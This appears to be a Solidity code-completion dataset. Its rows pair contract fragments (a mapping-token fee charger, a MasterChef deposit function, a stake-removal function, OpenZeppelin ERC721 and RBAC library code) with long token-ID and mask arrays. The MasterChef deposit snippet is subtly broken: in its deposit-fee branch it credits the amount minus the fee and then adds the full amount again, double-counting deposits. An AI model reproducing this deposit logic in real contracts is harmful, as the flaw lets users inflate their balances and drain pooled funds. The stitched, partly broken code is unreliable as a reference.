return _createMappingToken(mainChainId, token, _msgSender(), name, symbol, decimals, cap);
}
event AuthorizeCreate(uint mainChainId, address indexed token, address indexed creator, string name, string symbol, uint8 decimals, uint cap, address indexed signatory);
function _chargeFee() virtual internal {
require(msg.value >= config[_feeCreate_], 'fee for Create is too low');
address payable feeTo = address(config[_feeTo_]);
if(feeTo == address(0))
feeTo = address(uint160(address(this)));
feeTo.transfer(msg.value);
emit ChargeFee(_msgSender(), feeTo, msg.value);
}
event ChargeFee(address indexed from, address indexed to, uint value);
uint256[50] private __gap;
} | 686,032 | [
1,
3700,
603,
13750,
822,
379,
2774,
2758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
7822,
353,
1772,
10784,
9890,
16,
29312,
16,
5245,
288,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
377,
203,
565,
533,
1071,
508,
31,
203,
203,
565,
1731,
1578,
1071,
5381,
11980,
19957,
67,
2399,
15920,
282,
273,
417,
24410,
581,
5034,
2932,
3996,
3233,
12,
11890,
5034,
2774,
3893,
548,
16,
2867,
1147,
16,
11890,
8526,
2687,
2673,
16,
2867,
8526,
2874,
1345,
12868,
87,
16,
2867,
1573,
8452,
2225,
1769,
203,
565,
1731,
1578,
1071,
5381,
13278,
67,
2399,
15920,
377,
273,
417,
24410,
581,
5034,
2932,
1684,
3233,
1345,
12,
2867,
11784,
16,
11890,
5034,
2774,
3893,
548,
16,
2867,
1147,
16,
1080,
508,
16,
1080,
3273,
16,
11890,
28,
15105,
16,
11890,
5034,
3523,
16,
2867,
1573,
8452,
2225,
1769,
203,
565,
1731,
1578,
1071,
5381,
27025,
67,
2399,
15920,
377,
273,
417,
24410,
581,
5034,
2932,
41,
2579,
27,
2138,
3748,
12,
1080,
508,
16,
11890,
5034,
2687,
548,
16,
2867,
3929,
310,
8924,
2225,
1769,
203,
565,
1731,
1578,
1071,
27025,
67,
4550,
31,
203,
203,
565,
2874,
261,
3890,
1578,
516,
1758,
13,
1071,
3017,
5726,
1012,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
1357,
499,
606,
31,
203,
377,
203,
565,
2254,
8526,
1071,
2865,
3893,
2673,
31,
203,
565,
533,
8526,
1071,
3320,
939,
14821,
31,
203,
203,
565,
445,
1001,
3233,
1345,
1733,
67,
2738,
12,
2867,
389,
75,
1643,
29561,
16,
1758,
389,
11299,
2
] |
./partial_match/1/0xA3cF40df9B54F9B4bD4482c7B54AE7333EC10A53/sources/MasterChef.sol | Deposit LP tokens to MasterChef for I7 allocation. | function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accVenPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeVenTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accVenPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
| 2,733,332 | [
1,
758,
1724,
511,
52,
2430,
358,
13453,
39,
580,
74,
364,
467,
27,
13481,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
443,
1724,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
3639,
1089,
2864,
24899,
6610,
1769,
203,
3639,
309,
261,
1355,
18,
8949,
405,
374,
13,
288,
203,
5411,
2254,
5034,
4634,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
58,
275,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
5411,
309,
12,
9561,
405,
374,
13,
288,
203,
7734,
4183,
58,
275,
5912,
12,
3576,
18,
15330,
16,
4634,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
309,
24899,
8949,
405,
374,
13,
288,
203,
5411,
2845,
18,
9953,
1345,
18,
4626,
5912,
1265,
12,
2867,
12,
3576,
18,
15330,
3631,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
5411,
309,
12,
6011,
18,
323,
1724,
14667,
30573,
405,
374,
15329,
203,
7734,
2254,
5034,
443,
1724,
14667,
273,
389,
8949,
18,
16411,
12,
6011,
18,
323,
1724,
14667,
30573,
2934,
2892,
12,
23899,
1769,
203,
7734,
2845,
18,
9953,
1345,
18,
4626,
5912,
12,
21386,
1887,
16,
443,
1724,
14667,
1769,
203,
7734,
729,
18,
8949,
273,
729,
18,
8949,
18,
1289,
24899,
8949,
2934,
1717,
12,
323,
1724,
14667,
1769,
203,
7734,
729,
18,
8949,
273,
729,
18,
8949,
18,
1289,
24899,
8949,
1769,
203,
5411,
289,
203,
3639,
289,
203,
2
] |
./full_match/4/0x48AbD2B21f878071237B3Dd9a8B510c068b401B5/sources/DakToken.sol | * @notice A method for a stakeholder to remove a stake. @param _stake The size of the stake to be removed./ | function removeStake(uint256 _stake) public {
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
if (stakes[msg.sender] == 0) removeStakeholder(msg.sender);
_mint(msg.sender, _stake);
}
| 12,270,807 | [
1,
37,
707,
364,
279,
384,
911,
4505,
358,
1206,
279,
384,
911,
18,
225,
389,
334,
911,
1021,
963,
434,
326,
384,
911,
358,
506,
3723,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1206,
510,
911,
12,
11890,
5034,
389,
334,
911,
13,
1071,
288,
203,
3639,
384,
3223,
63,
3576,
18,
15330,
65,
273,
384,
3223,
63,
3576,
18,
15330,
8009,
1717,
24899,
334,
911,
1769,
203,
3639,
309,
261,
334,
3223,
63,
3576,
18,
15330,
65,
422,
374,
13,
1206,
510,
911,
4505,
12,
3576,
18,
15330,
1769,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
389,
334,
911,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/access/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
// File: openzeppelin-solidity/contracts/access/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param _roles the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] _roles) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < _roles.length; i++) {
// if (hasRole(msg.sender, _roles[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: openzeppelin-solidity/contracts/access/Whitelist.sol
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if operator is not whitelisted.
* @param _operator address
*/
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param _operators addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param _operator address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev remove addresses from the whitelist
* @param _operators addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol
/**
* @title SupportsInterfaceWithLookup
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
